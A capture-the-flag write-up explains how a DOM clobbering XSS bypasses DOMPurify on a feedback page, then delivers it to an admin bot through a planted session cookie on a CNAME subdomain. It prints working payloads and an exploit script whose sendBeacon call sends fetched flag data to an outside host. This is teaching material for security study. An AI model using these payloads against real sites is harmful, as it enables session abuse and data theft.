tl;dr

  • XSS using DOM Clobbering
  • <a id="showInfos"></a><a id="SETTINGS" name=check data-timezone="aaa" data-location="eval(window.name)"><a id="SETTINGS" name="x">
  • Bypass CSRF protection to execute XSS and read flag.

No. Of Solves: 5

Challenge points: 999

Solved By: Az3z3l, Captain-Kay, imp3ri0n, 1nt3rc3pt0r

Source Code: here

Initial Analysis

We’re given a web application that has a login and register page. Upon registering, the user is presented with a feedback page.

screenshot

On inspecting the source code, one can see that the page uses latest version of DOMpurify and runs the below JavaScript code to display the comment.

1
2
3
4
5
6
7
8
9
<script>
var url = new URL(document.location.href);
var params = new URLSearchParams(url.search);
var feedback=params.get("feedback");
if (feedback){
var clean = DOMPurify.sanitize(feedback,{FORBID_TAGS: ['style','form','input','meta']});
document.getElementById("out").innerHTML=clean;
}
</script>

We are allowed to inject HTML but not JavaScript. We also have a main.js file with the following content.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
window.SETTINGS = window.SETTINGS || [{
dataset:{
"timezone":"",
"location":"Tunisia"
},
Title:"FwordFeedbacks",
check: false
}]
function looseJsonParse(obj){
if(obj.length<35){
return eval("(" + obj + ")");
}else{
return {location:"Limit Length Exceeded"}
}
}
function addInfos(){
if(window.showInfos && SETTINGS.check && SETTINGS[0].dataset.timezone.length>2){
var infos=`{location:${SETTINGS[0].dataset.location}}`;
var result=document.createElement("p");
result.textContent=`Location: ${looseJsonParse(infos).location} Timezone: UTC+1` ;
document.getElementById("out").appendChild(result);
console.log(result);
}
}
addInfos()

The initial lines of the above code along with the HTML Injection that we have, can cause DOM Clobbering attack.

Exploit

Trigerring XSS

The looseJsonParse function can be used to trigger an XSS. However, it requires three conditions - window.showInfos && SETTINGS.check && SETTINGS[0].dataset.timezone.length>2.

  • window.showInfos can be set by injecting <a id="showInfos"></a>.

  • The second condition can be bypassed by clobbering window.SETTINGS.

1
<a id="SETTINGS" name=check><a id="SETTINGS" name="x">

screenshot

  • For the third condition, we require SETTINGS[0].dataset.timezone.length>2. This can be solved by setting data attribute to the HTML tag. (Read about dataset attribute here.)
1
<a id="SETTINGS" name=check data-timezone="aaa"><a id="SETTINGS" name="x">

screenshot

Combining all the conditions, our payload becomes,

1
<a id="showInfos"></a><a id="SETTINGS" name=check data-timezone="aaa" data-location="eval(window.name)"><a id="SETTINGS" name="x">

With the above payload, window.name will be executed by JavaScript. Now we can execute JavaScript by sending the admin to a page containing the below script.

1
window.open("http://host:5000/home?feedback=%3Ca+id%3D%22showInfos%22%3E%3C%2Fa%3E%3Ca+id%3D%22SETTINGS%22+name%3Dcheck+data-timezone%3D%22aaa%22+data-location%3D%22eval%28window.name%29%22%3E%3Ca+id%3D%22SETTINGS%22+name%3D%22x%22%3E&submit=Add+Feedback", "alert(1)")

Now, we have an authenticated XSS. But the admin bot does not authenticate on submitting a URL.

Delivering Exploit

Create a subdomain (say challenge.example.org) that has a CNAME record to shisui.fword.tech (challenge server). Then on the main domain, we set a cookie to authenticate the admin bot.

The exploit script that runs on the main domain:

1
2
3
4
5
6
7
8
9
10
11
12
<html>
<script>

let ck = 'eyJj...OzGA'; // a valid session cookie

document.cookie = `session=${ck};path=/;domain=challenge.example.org`; // Set cookie on subdomain
let payload=`fetch("/flag").then(r=>r.text()).then(z=>navigator.sendBeacon("http://example.org", z))`,
url = "http://challenge.example.org/home?feedback=%3Ca+id%3D%22showInfos%22%3E%3C%2Fa%3E%3Ca+id%3D%22SETTINGS%22+name%3Dcheck+data-timezone%3D%22aaa%22+data-location%3D%22eval%28window.name%29%22%3E%3Ca+id%3D%22SETTINGS%22+name%3D%22x%22%3E&submit=Add+Feedback";

window.open(url, name=payload); // Open the subdomain with exploit
</script>
</html>

Flag

1
FwordCTF{UchiHa_ShiSui_Is_GoDLik3YoU}